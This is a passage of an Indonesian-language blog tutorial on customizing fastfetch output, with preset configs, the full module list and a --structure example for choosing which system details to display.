&lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 27.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 28.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 29.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 30.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 31.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── 32.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Cara menggunakannya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;archey&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;fastfetch with template&quot; loading=&quot;lazy&quot; width=&quot;1113&quot; height=&quot;632&quot; src=&quot;/_astro/ss2.DvB5xt0I_FGnwv.webp&quot; /&gt;&lt;figcaption&gt;fastfetch with template&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;fastfetch with template 2&quot; loading=&quot;lazy&quot; width=&quot;1244&quot; height=&quot;665&quot; src=&quot;/_astro/ss3.B05hgiNW_2ns1UW.webp&quot; /&gt;&lt;figcaption&gt;fastfetch with template 2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Custom Usage&lt;a href=&quot;#custom-usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita hanya ingin menampilkan informasi tertentu saja, kita juga bisa melakukannya.&lt;/p&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Tentukan informasi apa saja yang ingin ditampilkan.&lt;/li&gt;
&lt;li&gt;Gunakan tambahan tag &lt;code&gt;--structure&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h4&gt;1. Choosing Modules&lt;a href=&quot;#1-choosing-modules&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk melihat daftar informasi yang dapat kita tampilkan dengan &lt;code&gt;fastfetch&lt;/code&gt;, cari di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--list-modules&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Output&lt;/em&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Per artikel ini ditulis, setidaknya terdapat &lt;strong&gt;75 modul&lt;/strong&gt; yang tersedia di &lt;code&gt;fastfetch&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1)  Battery       : Print battery information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2)  BIOS          : Print first-stage bootloader information (name, version, release date, etc.)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;3)  Bluetooth     : List connected Bluetooth devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;4)  BluetoothRadio: List Bluetooth radios (supported versions, vendors, etc.)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;5)  Board         : Print motherboard name and other information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;6)  Bootmgr       : Print second-stage bootloader information (name, firmware, etc.)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;7)  Break         : Print an empty line&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;8)  Brightness    : Print the current brightness level of your monitors&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;9)  Btrfs         : Print Linux BTRFS volumes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;10) Camera        : Print available cameras&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;11) Chassis       : Print chassis type information (desktop, laptop, etc.)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;12) Codec         : Print hardware video acceleration codec types (decode / encode)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;13) Command       : Run custom shell scripts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;14) Colors        : Display the terminal&apos;s 16-color palette&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;15) CPU           : Print CPU name, frequency, etc.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;16) CPUCache      : Print CPU cache sizes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;17) CPUUsage      : Print CPU usage. Collecting data takes some time&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;18) Cursor        : Print cursor style name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;19) Custom        : Print a custom string, with or without key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;20) DateTime      : Print the current date and time&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;21) DE            : Print desktop environment name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22) Display       : Print resolutions, refresh rates, etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;23) Disk          : Print partitions, space usage, file system, etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;24) DiskIO        : Print physical disk I/O throughput&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;25) DNS           : Print configured DNS servers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;26) Editor        : Print information about the default editor ($VISUAL or $EDITOR)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;27) Font          : Print system font names&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;28) Gamepad       : List connected gamepads&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;29) GPU           : Print GPU names, memory sizes, types, etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;30) Host          : Print your computer&apos;s product name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;31) Icons         : Print icon style name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;32) InitSystem    : Print init system (pid 1) name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;33) Kernel        : Print system kernel version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34) Keyboard      : List connected keyboards&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;35) LM            : Print login manager (desktop manager) name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;36) Loadavg       : Print system load averages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;37) Locale        : Print system locale name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;38) LocalIp       : List local IP addresses (IPv4 or IPv6), MAC addresses, etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;39) Logo          : Query built-in logo for JSON output&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;40) Media         : Print the name of the currently playing song&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;41) Memory        : Print system memory usage information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;42) Monitor       : Same as Display module, but with a different default output format&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;43) Mouse         : List connected mice&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;44) NetIO         : Print network I/O throughput&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;45) OpenCL        : Print the highest OpenCL version supported by the GPU&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;46) OpenGL        : Print the highest OpenGL version supported by the GPU&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;47) OS            : Print the OS or Linux distribution name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;48) Packages      : List installed package managers and count of installed packages&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;49) PhysicalDisk  : Print physical disk information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50) PhysicalMemory: Print system physical memory devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;51) Player        : Print the music player name that is currently active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;52) PowerAdapter  : Print power adapter name and charging watts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;53) Processes     : Print number of running processes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;54) PublicIp      : Print your public IP address and related information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;55) Separator     : Print a separator line&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;56) Shell         : Print the current shell name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;57) Sound         : Print sound devices, volume levels, etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;58) Swap          : Print swap (paging file) space usage&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;59) Terminal      : Print the current terminal name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;60) TerminalFont  : Print the font name and size used by the current terminal&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;61) TerminalSize  : Print the current terminal size&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;62) TerminalTheme : Print the current terminal theme (foreground and background colors)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;63) Title         : Print the title, including your username and hostname&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;64) Theme         : Print the current desktop environment theme&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;65) TPM           : Print information about the Trusted Platform Module (TPM) security device&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;66) Uptime        : Print how long the system has been running&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;67) Users         : Print users who are currently logged in&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;68) Version       : Print the Fastfetch version and build information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;69) Vulkan        : Print the highest Vulkan version supported by the GPU&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;70) Wallpaper     : Print the file path of the current wallpaper&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;71) Weather       : Print weather information&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;72) WM            : Print the window manager name and version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;73) Wifi          : Print connected Wi-Fi info (SSID, connection and security protocol)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;74) WMTheme       : Print the current window manager theme&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;75) Zpool         : Print ZFS storage pools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Showing Modules&lt;a href=&quot;#2-showing-modules&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Misalnya, saya hanya ingin menampilkan informasi-informasi berikut saja:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Judul (&lt;strong&gt;Title&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Garis pembatas (&lt;strong&gt;Separator&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Sistem operasi (&lt;strong&gt;OS&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Kernel (&lt;strong&gt;Kernel&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Window manager (&lt;strong&gt;WM&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Resolusi layar (&lt;strong&gt;Display&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Terminal (&lt;strong&gt;Terminal&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;RAM (&lt;strong&gt;Memory&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Hardisk/SSD (&lt;strong&gt;Disk&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Ruang kosong (&lt;strong&gt;Break&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Warna (&lt;strong&gt;Colors&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Maka perintah yang digunakan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--structure&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Title:Separator:OS:Kernel:WM:Display:Terminal:Memory:Disk:Break:Colors&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;fastfetch custom output&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;629&quot; src=&quot;/_astro/ss4.CMCVSJ42_15Wj7V.webp&quot; /&gt;&lt;figcaption&gt;fastfetch custom output&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Meskipun tidak &lt;strong&gt;&lt;em&gt;case-sensitive&lt;/em&gt;&lt;/strong&gt; (artinya kita bisa saja menulis dengan huruf kecil semua: &lt;code&gt;fastfetch --structure title:separator:os:kernel&lt;/code&gt;), tapi, titik dua-nya tidak boleh typo dan tidak boleh ada spasi diantaranya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Tentu saja masih banyak hal dan fitur lain &lt;code&gt;fastfetch&lt;/code&gt; yang belum di-&lt;em&gt;cover&lt;/em&gt; pada artikel ini. Sila explorasi sendiri dengan melihat-lihat daftar bantuan ataupun &lt;code&gt;man&lt;/code&gt; pages-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;man&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;br /&gt;
Sampai jumpa lagi di artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/dylanaraps/neofetch&quot; target=&quot;_blank&quot;&gt;https://github.com/dylanaraps/neofetch&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
